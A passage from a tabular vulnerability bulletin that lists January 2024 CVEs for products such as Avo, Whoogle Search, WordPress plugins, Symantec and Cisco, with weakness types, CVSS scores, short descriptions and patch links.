Input During Web Page Generation ('Cross-site Scripting')			Rails apps. A stored cross-site scripting (XSS) vulnerability was found in the key_value field of Avo v3.2.3 and v2.46.0. This vulnerability could allow an attacker to execute arbitrary JavaScript code in the victim's browser. The value of the key_value is inserted directly into the HTML code. In the current version of Avo (possibly also older versions), the value is not properly sanitized before it is inserted into the HTML code. This vulnerability could be used to steal sensitive information from victims that could be used to hijack victims' accounts or redirect them to malicious websites. Avo 3.2.4 and 2.47.0 include a fix for this issue. Users are advised to upgrade. **CVE ID : CVE-2024-22191**	/51bb80b181cd8e31744bdc4e7f9b501c81172347, https://github.com/avo-hq/avo/commit/fc92a05a8556b1787c8694643286a1afa6a71258, https://github.com/avo-hq/avo/security/advisories/GHSA-ghjv-mh6x-7q6h	
Affected Version(s): From (including) 3.0.2 Up to (excluding) 3.3.0					

CVSS Scoring Scale	0-1	1-2	2-3	3-4	4-5	5-6	6-7	7-8	8-9	9-10

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	16-Jan-2024	5.4	Avo is a framework to create admin panels for Ruby on Rails apps. In Avo 3 pre12, any HTML inside text that is passed to `error` or `succeed` in an `Avo::BaseAction` subclass will be rendered directly without sanitization in the toast/notification that appears in the UI on Action completion. A malicious user could exploit this vulnerability to trigger a cross site scripting attack on an unsuspecting user. This issue has been addressed in the 3.3.0 and 2.47.0 releases of Avo. Users are advised to upgrade. **CVE ID : CVE-2024-22411**	https://github.com/avo-hq/avo/commit/51bb80b181cd8e31744bdc4e7f9b501c81172347, https://github.com/avo-hq/avo/commit/fc92a05a8556b1787c8694643286a1afa6a71258, https://github.com/avo-hq/avo/security/advisories/GHSA-g8vp-2v5p-9qfh	A-AVO-AVO-130224/150
Vendor: badaix					
Product: snapcast					
Affected Version(s): * Up to (including) 0.27.0					
N/A	23-Jan-2024	9.8	An issue was discovered in badaix Snapcast version 0.27.0, allows remote attackers to execute arbitrary code and gain	N/A	A-BAD-SNAP-130224/151

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			sensitive information via crafted request in JSON-RPC-API. **CVE ID : CVE-2023-36177**		
Vendor: beetl-bbs_project					
Product: beetl-bbs					
Affected Version(s): 2.0					
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	23-Jan-2024	6.1	Cross Site Scripting (XSS) vulnerability in beetl-bbs 2.0 allows attackers to run arbitrary code via the /index keyword parameter. **CVE ID : CVE-2024-22490**	N/A	A-BEE-BEET-130224/152
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	16-Jan-2024	5.4	A Stored Cross Site Scripting (XSS) vulnerability in beetl-bbs 2.0 allows attackers to run arbitrary code via the post/save content parameter. **CVE ID : CVE-2024-22491**	N/A	A-BEE-BEET-130224/153
Vendor: benaceur-php					
Product: restrict_usernames_emails_characters					
Affected Version(s): * Up to (excluding) 3.1.4					
Improper Neutralization of Input During Web Page Generation	29-Jan-2024	4.8	The Restrict Usernames Emails Characters WordPress plugin before 3.1.4 does not sanitise and escape some of its settings, which	N/A	A-BEN-REST-130224/154

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
('Cross-site Scripting')			could allow high privilege users such as admin to perform Cross-Site Scripting attacks even when unfiltered_html is disallowed **CVE ID : CVE-2023-6165**		
Vendor: benbusby					
Product: whoogle_search					
Affected Version(s): * Up to (excluding) 0.8.4					
Server-Side Request Forgery (SSRF)	23-Jan-2024	9.8	Whoogle Search is a self-hosted metasearch engine. In versions prior to 0.8.4, the `element` method in `app/routes.py` does not validate the user-controlled `src_type` and `element_url` variables and passes them to the `send` method which sends a GET request on lines 339-343 in `request.py`, which leads to a server-side request forgery. This issue allows for crafting GET requests to internal and external resources on behalf of the server. For example, this issue would allow for	https://github.com/benbusby/whoogle-search/commit/3a2e0b262e4a076a20416b45e6b6f23fd265aeda	A-BEN-WHOO-130224/155

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			accessing resources on the internal network that the server has access to, even though these resources may not be accessible on the internet. This issue is fixed in version 0.8.4. **CVE ID : CVE-2024-22203**		
Server-Side Request Forgery (SSRF)	23-Jan-2024	9.8	Whoogle Search is a self-hosted metasearch engine. In versions 0.8.3 and prior, the `window` endpoint does not sanitize user-supplied input from the `location` variable and passes it to the `send` method which sends a `GET` request on lines 339-343 in `request.py,` which leads to a server-side request forgery. This issue allows for crafting GET requests to internal and external resources on behalf of the server. For example, this issue would allow for accessing resources on the internal network	https://github.com/benbusby/whoogle-search/commit/3a2e0b262e4a076a20416b45e6b6f23fd265aeda	A-BEN-WHOO-130224/156

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			that the server has access to, even though these resources may not be accessible on the internet. This issue is fixed in version 0.8.4. **CVE ID : CVE-2024-22205**		
Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')	23-Jan-2024	5.3	Whoogle Search is a self-hosted metasearch engine. Versions 0.8.3 and prior have a limited file write vulnerability when the configuration options in Whoogle are enabled. The `config` function in `app/routes.py` does not validate the user-controlled `name` variable on line 447 and `config_data` variable on line 437. The `name` variable is insecurely concatenated in `os.path.join`, leading to path manipulation. The POST data from the `config_data` variable is saved with `pickle.dump` which leads to a limited file write.	https://github.com/benbusby/whoogle-search/commit/3a2e0b262e4a076a20416b45e6b6f23fd265aeda	A-BEN-WHOO-130224/157

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			However, the data that is saved is earlier transformed into a dictionary and the `url` key value pair is added before the file is saved on the system. All in all, the issue allows us to save and overwrite files on the system that the application has permissions to, with a dictionary containing arbitrary data and the `url` key value, which is a limited file write. Version 0.8.4 contains a patch for this issue. **CVE ID : CVE-2024-22204**		
Vendor: benjaminrojas					
Product: wp_editor					
Affected Version(s): * Up to (excluding) 1.2.7					
Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')	16-Jan-2024	7.2	The WP Editor WordPress plugin before 1.2.7 did not sanitise or validate its setting fields leading to an authenticated (admin+) blind SQL injection issue via an arbitrary parameter when making a request to save the settings.	N/A	A-BEN-WP_E-130224/158

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			CVE ID : CVE-2021-24151		
Vendor: benjaminzekavica					
Product: easy_svg_support					
Affected Version(s): * Up to (including) 1.0					
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	29-Jan-2024	5.4	The Easy SVG Allow WordPress plugin through 1.0 does not sanitize uploaded SVG files, which could allow users with a role as low as Author to upload a malicious SVG containing XSS payloads. **CVE ID : CVE-2023-7089**	N/A	A-BEN-EASY-130224/159
Vendor: berocket					
Product: advanced_ajax_product_filters					
Affected Version(s): * Up to (excluding) 1.5.4.7					
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	16-Jan-2024	6.1	The Advanced AJAX Product Filters WordPress plugin does not sanitise the 'term_id' POST parameter before outputting it in the page, leading to reflected Cross-Site Scripting issue. **CVE ID : CVE-2021-24432**	N/A	A-BER-ADVA-130224/160
Vendor: biteship					
Product: biteship					
Affected Version(s): * Up to (excluding) 2.2.25					
Improper Neutralizat	29-Jan-2024	6.1	The Biteship: Plugin Ongkos	N/A	A-BIT-BITE-130224/161

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
ion of Input During Web Page Generation ('Cross-site Scripting')			Kirim Kurir Instant, Reguler, Kargo WordPress plugin before 2.2.25 does not sanitise and escape the biteship_error and biteship_message parameters before outputting them back in the page, leading to a Reflected Cross-Site Scripting which could be used against high privilege users such as admin **CVE ID : CVE-2023-6278**		
Vendor: blitiri					
Product: chasquid					
Affected Version(s): * Up to (excluding) 1.13					
Inconsistent Interpretation of HTTP Requests ('HTTP Request Smuggling')	22-Jan-2024	7.5	chasquid before 1.13 allows SMTP smuggling because LF-terminated lines are accepted. **CVE ID : CVE-2023-52354**	https://blitiri.com.ar/p/chasquid/relnotes/#113-2023-12-24	A-BLI-CHAS-130224/162
Vendor: bootstrapped					
Product: wp_recipe_maker					
Affected Version(s): * Up to (including) 9.1.0					
Improper Neutralization of Input	18-Jan-2024	6.1	The WP Recipe Maker plugin for WordPress is vulnerable to	https://plugins.trac.wordpress.org/changeset/3019769/wp-	A-BOO-WP_R-130224/163

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
During Web Page Generation ('Cross-site Scripting')			Reflected Cross-Site Scripting via the 'Referer' header in all versions up to, and including, 9.1.0 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that execute if they can successfully trick a user into performing an action such as clicking on a link. **CVE ID : CVE-2023-6970**	recipe-maker/trunk/templates/public/print.php	
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	18-Jan-2024	5.4	The WP Recipe Maker plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's shortcode(s) in all versions up to, and including, 9.1.0 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers with	https://plugins.trac.wordpress.org/changeset/3019769/wp-recipe-maker/trunk/includes/public/shortcodes/general/class-wprm-sc-text.php	A-BOO-WP_R-130224/164

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			contributor-level and above permissions to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. **CVE ID : CVE-2023-6958**		
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	18-Jan-2024	5.4	The WP Recipe Maker plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the use of the 'tag' attribute in the wprm-recipe-name, wprm-recipe-date, and wprm-recipe-counter shortcodes in all versions up to, and including, 9.1.0. This makes it possible for authenticated attackers with contributor-level and above permissions to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. **CVE ID : CVE-2024-0381**	https://plugins.trac.wordpress.org/changeset/3019769/wp-recipe-maker/trunk/includes/public/shortcodes/recipe/class-wprm-sc-counter.php	A-BOO-WP_R-130224/165
Vendor: borbis					

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
Product: freshmail_for_wordpress					
Affected Version(s): * Up to (including) 2.3.2					
Cross-Site Request Forgery (CSRF)	31-Jan-2024	8.8	Cross-Site Request Forgery (CSRF) vulnerability in Borbis Media FreshMail For WordPress.This issue affects FreshMail For WordPress: from n/a through 2.3.2. **CVE ID : CVE-2024-22304**	N/A	A-BOR-FRES-130224/166
Vendor: bosscms					
Product: bosscms					
Affected Version(s): 1.3.0					
Incorrect Authorization	30-Jan-2024	7.8	Insecure Permissions vulnerability in BossCMS v.1.3.0 allows a local attacker to execute arbitrary code and escalate privileges via the init function in admin.class.php component. **CVE ID : CVE-2024-22938**	N/A	A-BOS-BOSS-130224/167
Vendor: brainstormforce					
Product: ultimate_addons_for_beaver_builder					
Affected Version(s): * Up to (including) 1.5.5					
Missing Authorization	17-Jan-2024	4.3	Missing Authorization vulnerability in Brainstorm Force	N/A	A-BRA-ULTI-130224/168

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			Ultimate Addons for Beaver Builder – Lite.This issue affects Ultimate Addons for Beaver Builder – Lite: from n/a through 1.5.5. **CVE ID : CVE-2023-23882**		
Vendor: Broadcom					
Product: symantec_data_center_security_server					
Affected Version(s): * Up to (including) 14.0.2					
Buffer Copy without Checking Size of Input ('Classic Buffer Overflow')	26-Jan-2024	8.8	A buffer overflow vulnerability exists in Symantec Data Loss Prevention version 14.0.2 and before. A remote, unauthenticated attacker can exploit this vulnerability by enticing a user to open a crafted document to achieve code execution. **CVE ID : CVE-2024-23617**	N/A	A-BRO-SYMA-130224/169
Product: symantec_deployment_solutions					
Affected Version(s): 7.9					
Buffer Copy without Checking Size of Input	26-Jan-2024	9.8	A buffer overflow vulnerability exists in Symantec Deployment Solution version 7.9 when parsing	N/A	A-BRO-SYMA-130224/170

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
('Classic Buffer Overflow')			UpdateComputer tokens. A remote, anonymous attacker can exploit this vulnerability to achieve remote code execution as SYSTEM. **CVE ID : CVE-2024-23613**		
Product: symantec_messaging_gateway					
Affected Version(s): * Up to (including) 10.5					
Buffer Copy without Checking Size of Input ('Classic Buffer Overflow')	26-Jan-2024	9.8	A buffer overflow vulnerability exists in Symantec Messaging Gateway versions 10.5 and before. A remote, anonymous attacker can exploit this vulnerability to achieve remote code execution as root. **CVE ID : CVE-2024-23615**	N/A	A-BRO-SYMA-130224/171
Affected Version(s): * Up to (including) 9.5					
Buffer Copy without Checking Size of Input ('Classic Buffer Overflow')	26-Jan-2024	9.8	A buffer overflow vulnerability exists in Symantec Messaging Gateway versions 9.5 and before. A remote, anonymous attacker can exploit this vulnerability to	N/A	A-BRO-SYMA-130224/172

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			achieve remote code execution as root. **CVE ID : CVE-2024-23614**		
Product: symantec_server_management_suite					
Affected Version(s): * Up to (including) 7.9					
Buffer Copy without Checking Size of Input ('Classic Buffer Overflow')	26-Jan-2024	9.8	A buffer overflow vulnerability exists in Symantec Server Management Suite version 7.9 and before. A remote, anonymous attacker can exploit this vulnerability to achieve remote code execution as SYSTEM. **CVE ID : CVE-2024-23616**	N/A	A-BRO-SYMA-130224/173
Vendor: burst-statistics					
Product: burst_statistics					
Affected Version(s): * Up to (excluding) 1.5.3					
Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')	17-Jan-2024	6.5	The Burst Statistics – Privacy-Friendly Analytics for WordPress plugin, version 1.5.3, is vulnerable to Post-Authenticated SQL Injection via multiple JSON parameters in the /wp-json/burst/v1/data/compare	https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&new=3020809%40burst-statistics%2Ftrunk&old=3012004%40burst-statistics%2Ftr	A-BUR-BURS-130224/174

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			endpoint. Affected parameters include 'browser', 'device', 'page_id', 'page_url', 'platform', and 'referrer'. This vulnerability arises due to insufficient escaping of user-supplied parameters and the lack of adequate preparation in SQL queries. As a result, authenticated attackers with editor access or higher can append additional SQL queries into existing ones, potentially leading to unauthorized access to sensitive information from the database. **CVE ID : CVE-2024-0405**	unk&sfp_email=&sfph_mail=	
Vendor: cals-ed					
Product: electronic_delivery_check_system					
Affected Version(s): * Up to (excluding) 11.0.0					
Improper Restriction of XML External Entity Reference	24-Jan-2024	5.5	Electronic Delivery Check System (Doboku) Ver.18.1.0 and earlier, Electronic Delivery Check System (Dentsu) Ver.12.1.0 and earlier, Electronic Delivery Check	N/A	A-CAL-ELEC-130224/175

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			System (Kikai) Ver.10.1.0 and earlier, and Electronic delivery item Inspection Support SystemVer.4.0.31 and earlier improperly restrict XML external entity references (XXE). By processing a specially crafted XML file, arbitrary files on the system may be read by an attacker. **CVE ID : CVE-2024-21765**		
Affected Version(s): * Up to (excluding) 13.0.0					
Improper Restriction of XML External Entity Reference	24-Jan-2024	5.5	Electronic Delivery Check System (Doboku) Ver.18.1.0 and earlier, Electronic Delivery Check System (Dentsu) Ver.12.1.0 and earlier, Electronic Delivery Check System (Kikai) Ver.10.1.0 and earlier, and Electronic delivery item Inspection Support SystemVer.4.0.31 and earlier improperly restrict XML external entity references (XXE). By	N/A	A-CAL-ELEC-130224/176

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			processing a specially crafted XML file, arbitrary files on the system may be read by an attacker. **CVE ID : CVE-2024-21765**		
Affected Version(s): * Up to (excluding) 19.0.0					
Improper Restriction of XML External Entity Reference	24-Jan-2024	5.5	Electronic Delivery Check System (Doboku) Ver.18.1.0 and earlier, Electronic Delivery Check System (Dentsu) Ver.12.1.0 and earlier, Electronic Delivery Check System (Kikai) Ver.10.1.0 and earlier, and Electronic delivery item Inspection Support SystemVer.4.0.31 and earlier improperly restrict XML external entity references (XXE). By processing a specially crafted XML file, arbitrary files on the system may be read by an attacker. **CVE ID : CVE-2024-21765**	N/A	A-CAL-ELEC-130224/177
Product: electronic_delivery_item_inspection_support_system					
Affected Version(s): * Up to (including) 4.0.31					

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
Improper Restriction of XML External Entity Reference	24-Jan-2024	5.5	Electronic Delivery Check System (Doboku) Ver.18.1.0 and earlier, Electronic Delivery Check System (Dentsu) Ver.12.1.0 and earlier, Electronic Delivery Check System (Kikai) Ver.10.1.0 and earlier, and Electronic delivery item Inspection Support SystemVer.4.0.31 and earlier improperly restrict XML external entity references (XXE). By processing a specially crafted XML file, arbitrary files on the system may be read by an attacker. **CVE ID : CVE-2024-21765**	N/A	A-CAL-ELEC-130224/178
Vendor: campcodes					
Product: supplier_management_system					
Affected Version(s): 1.0					
Improper Neutralization of Special Elements used in an SQL Command	16-Jan-2024	7.2	Complete Supplier Management System v1.0 is vulnerable to SQL Injection via /Supply_Management_System/admin/edit_category.php?id=.	N/A	A-CAM-SUPP-130224/179

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
('SQL Injection')			**CVE ID : CVE-2024-22625**		
Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')	16-Jan-2024	7.2	Complete Supplier Management System v1.0 is vulnerable to SQL Injection via /Supply_Management_System/admin/edit_retailer.php?id=. **CVE ID : CVE-2024-22626**	N/A	A-CAM-SUPP-130224/180
Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')	16-Jan-2024	7.2	Complete Supplier Management System v1.0 is vulnerable to SQL Injection via /Supply_Management_System/admin/edit_distributor.php?id=. **CVE ID : CVE-2024-22627**	N/A	A-CAM-SUPP-130224/181
Vendor: Canonical					
Product: ubuntu_pipewire-pulse					
Affected Version(s): -					
Incorrect Default Permissions	24-Jan-2024	5.5	Ubuntu's pipewire-pulse in snap grants microphone access even when the snap interface for audio-record is not set. **CVE ID : CVE-2022-4964**	https://gitlab.freedesktop.org/pipewire/pipewire/-/merge_requests/1779, https://gitlab.freedesktop.org/pipewire/wireplumber/-/merge_requests/567	A-CAN-UBUN-130224/182
Vendor: cardozatechnologies					

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
Product: cardoza-3d-tag-cloud					
Affected Version(s): * Up to (including) 3.8					
Cross-Site Request Forgery (CSRF)	17-Jan-2024	8.8	Cross-Site Request Forgery (CSRF) vulnerability in Vinoj Cardoza 3D Tag Cloud allows Stored XSS.This issue affects 3D Tag Cloud: from n/a through 3.8. **CVE ID : CVE-2022-41990**	N/A	A-CAR-CARD-130224/183
Vendor: changedetection					
Product: changedetection					
Affected Version(s): From (including) 0.39.14 Up to (excluding) 0.45.13					
Incorrect Authorization	19-Jan-2024	3.7	changedetection.io is an open source tool designed to monitor websites for content changes. In affected versions the API endpoint `/api/v1/watch/<uuid>/history` can be accessed by any unauthorized user. As a result any unauthorized user can check one's watch history. However, because unauthorized party first needs to know a watch UUID, and the watch history endpoint itself returns only paths	https://github.com/dgtlmoon/changedetection.io/commit/402f1e47e78ecd155b1e90f30cce424ff7763e0f, https://github.com/dgtlmoon/changedetection.io/security/advisories/GHSA-hcvp-2cc7-jrwr	A-CHA-CHAN-130224/184

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			to the snapshot on the server, an impact on users' data privacy is minimal. This issue has been addressed in version 0.45.13. Users are advised to upgrade. There are no known workarounds for this vulnerability. **CVE ID : CVE-2024-23329**		
Vendor: cires21					
Product: live_encoder					
Affected Version(s): 5.3					
Improper Access Control	17-Jan-2024	9.8	Inadequate access control in the C21 Live Encoder and Live Mosaic product, version 5.3. This vulnerability allows a remote attacker to access the application as an administrator user through the application endpoint, due to lack of proper credential management. **CVE ID : CVE-2024-0642**	N/A	A-CIR-LIVE-130224/185
Unrestricted Upload of File with	17-Jan-2024	9.8	Unrestricted upload of dangerous file types in the C21 Live Encoder and	N/A	A-CIR-LIVE-130224/186

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
Dangerous Type			Live Mosaic product, version 5.3. This vulnerability allows a remote attacker to upload different file extensions without any restrictions, resulting in a full system compromise. **CVE ID : CVE-2024-0643**		
Vendor: Cisco					
Product: broadworks_application_delivery_platform					
Affected Version(s): 23.0.2024.01					
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	17-Jan-2024	5.4	A vulnerability in the web-based management interface of Cisco BroadWorks Application Delivery Platform and Cisco BroadWorks Xtended Services Platform could allow an authenticated, remote attacker to conduct a stored cross-site scripting (XSS) attack against a user of the interface. This vulnerability exists because the web-based management interface does not	https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-broadworks-xss-6syj82Ju	A-CIS-BROA-130224/187

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			properly validate user-supplied input. An attacker could exploit this vulnerability by persuading a user of the interface to click a crafted link. A successful exploit could allow the attacker to execute arbitrary script code in the context of the affected interface or access sensitive, browser-based information. **CVE ID : CVE-2024-20270**		
Affected Version(s): From (including) 24.0.2023.01 Up to (excluding) 24.0.2023.10					
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	17-Jan-2024	5.4	A vulnerability in the web-based management interface of Cisco BroadWorks Application Delivery Platform and Cisco BroadWorks Xtended Services Platform could allow an authenticated, remote attacker to conduct a stored cross-site scripting (XSS) attack against a user of the interface. This vulnerability exists because the	https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-broadworks-xss-6syj82Ju	A-CIS-BROA-130224/188

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			web-based management interface does not properly validate user-supplied input. An attacker could exploit this vulnerability by persuading a user of the interface to click a crafted link. A successful exploit could allow the attacker to execute arbitrary script code in the context of the affected interface or access sensitive, browser-based information. **CVE ID : CVE-2024-20270**		
Affected Version(s): From (including) 25.0.2023.01 Up to (excluding) 25.0.2023.10					
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	17-Jan-2024	5.4	A vulnerability in the web-based management interface of Cisco BroadWorks Application Delivery Platform and Cisco BroadWorks Xtended Services Platform could allow an authenticated, remote attacker to conduct a stored cross-site scripting (XSS) attack against a user of the interface.	https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-broadworks-xss-6syj82Ju	A-CIS-BROA-130224/189

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			This vulnerability exists because the web-based management interface does not properly validate user-supplied input. An attacker could exploit this vulnerability by persuading a user of the interface to click a crafted link. A successful exploit could allow the attacker to execute arbitrary script code in the context of the affected interface or access sensitive, browser-based information. **CVE ID : CVE-2024-20270**		
Product: broadworks_xtended_services_platform					
Affected Version(s): 23.0.2024.01					
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	17-Jan-2024	5.4	A vulnerability in the web-based management interface of Cisco BroadWorks Application Delivery Platform and Cisco BroadWorks Xtended Services Platform could allow an authenticated, remote attacker to conduct a stored	https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-broadworks-xss-6syj82Ju	A-CIS-BROA-130224/190

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			cross-site scripting (XSS) attack against a user of the interface. This vulnerability exists because the web-based management interface does not properly validate user-supplied input. An attacker could exploit this vulnerability by persuading a user of the interface to click a crafted link. A successful exploit could allow the attacker to execute arbitrary script code in the context of the affected interface or access sensitive, browser-based information. **CVE ID : CVE-2024-20270**		
Affected Version(s): From (including) 24.0.2023.01 Up to (excluding) 24.0.2023.10					
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	17-Jan-2024	5.4	A vulnerability in the web-based management interface of Cisco BroadWorks Application Delivery Platform and Cisco BroadWorks Xtended Services Platform could allow an	https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-broadworks-xss-6syj82Ju	A-CIS-BROA-130224/191

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			authenticated, remote attacker to conduct a stored cross-site scripting (XSS) attack against a user of the interface. This vulnerability exists because the web-based management interface does not properly validate user-supplied input. An attacker could exploit this vulnerability by persuading a user of the interface to click a crafted link. A successful exploit could allow the attacker to execute arbitrary script code in the context of the affected interface or access sensitive, browser-based information. **CVE ID : CVE-2024-20270**		
Affected Version(s): From (including) 25.0.2023.01 Up to (excluding) 25.0.2023.10					
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	17-Jan-2024	5.4	A vulnerability in the web-based management interface of Cisco BroadWorks Application Delivery Platform and Cisco BroadWorks	https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-broadworks-xss-6syj82Ju	A-CIS-BROA-130224/192

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			Xtended Services Platform could allow an authenticated, remote attacker to conduct a stored cross-site scripting (XSS) attack against a user of the interface. This vulnerability exists because the web-based management interface does not properly validate user-supplied input. An attacker could exploit this vulnerability by persuading a user of the interface to click a crafted link. A successful exploit could allow the attacker to execute arbitrary script code in the context of the affected interface or access sensitive, browser-based information. **CVE ID : CVE-2024-20270**		
Product: evolved_programmable_network_manager					
Affected Version(s): * Up to (excluding) 7.1.1					
N/A	17-Jan-2024	7.2	A vulnerability in the web-based management interface of Cisco Prime	https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisor	A-CIS-EVOL-130224/193

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			Infrastructure could allow an authenticated, remote attacker to execute arbitrary commands on the underlying operating system. This vulnerability is due to improper processing of serialized Java objects by the affected application. An attacker could exploit this vulnerability by uploading a document containing malicious serialized Java objects to be processed by the affected application. A successful exploit could allow the attacker to cause the application to execute arbitrary commands. **CVE ID : CVE-2023-20258**	y/cisco-sa-pi-epnm-wkZJeyeq	
Improper Neutralization of Argument Delimiters in a Command	17-Jan-2024	6.7	A vulnerability in the application CLI of Cisco Prime Infrastructure and Cisco Evolved Programmable Network Manager could allow an	https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-pi-epnm-wkZJeyeq	A-CIS-EVOL-130224/194

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
('Argument Injection')			authenticated, local attacker to gain escalated privileges. This vulnerability is due to improper processing of command line arguments to application scripts. An attacker could exploit this vulnerability by issuing a command on the CLI with malicious options. A successful exploit could allow the attacker to gain the escalated privileges of the root user on the underlying operating system. **CVE ID : CVE-2023-20260**		
Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')	17-Jan-2024	6.5	A vulnerability in the web-based management interface of Cisco Prime Infrastructure and Cisco Evolved Programmable Network Manager (EPNM) could allow an authenticated, remote attacker to conduct SQL injection attacks on an affected system. This vulnerability	https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-pi-epnm-wkZJeyeq	A-CIS-EVOL-130224/195

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			is due to improper validation of user-submitted parameters. An attacker could exploit this vulnerability by authenticating to the application and sending malicious requests to an affected system. A successful exploit could allow the attacker to obtain and modify sensitive information that is stored in the underlying database. **CVE ID : CVE-2023-20271**		
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	17-Jan-2024	4.8	A vulnerability in the web-based management interface of Cisco Prime Infrastructure could allow an authenticated, remote attacker to conduct cross-site scripting attacks. This vulnerability is due to improper validation of user-supplied input to the web-based management interface. An attacker could exploit this	https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-pi-epnm-wkZJeyeq	A-CIS-EVOL-130224/196

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			vulnerability by submitting malicious input containing script or HTML content within requests that would stored within the application interface. A successful exploit could allow the attacker to conduct cross-site scripting attacks against other users of the affected application. **CVE ID : CVE-2023-20257**		
Product: identity_services_engine					
Affected Version(s): 1.0					
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	17-Jan-2024	5.4	A vulnerability in the web-based management interface of Cisco Identity Services Engine (ISE) could allow an authenticated, remote attacker to perform a stored cross-site scripting (XSS) attack against a user of the interface on an affected device. This vulnerability exists because the web-based management interface does not properly validate	https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-ISE-XSS-bL4VTML	A-CIS-IDEN-130224/197

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			user-supplied input. An attacker could exploit this vulnerability by injecting malicious code into specific pages of the interface. A successful exploit could allow the attacker to execute arbitrary script code in the context of the affected interface or access sensitive, browser-based information. **CVE ID : CVE-2024-20251**		
Affected Version(s): 3.0.0					
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	17-Jan-2024	5.4	A vulnerability in the web-based management interface of Cisco Identity Services Engine (ISE) could allow an authenticated, remote attacker to perform a stored cross-site scripting (XSS) attack against a user of the interface on an affected device. This vulnerability exists because the web-based management interface does not properly validate user-supplied input. An attacker	https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-ISE-XSS-bL4VTML	A-CIS-IDEN-130224/198

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			could exploit this vulnerability by injecting malicious code into specific pages of the interface. A successful exploit could allow the attacker to execute arbitrary script code in the context of the affected interface or access sensitive, browser-based information. **CVE ID : CVE-2024-20251**		
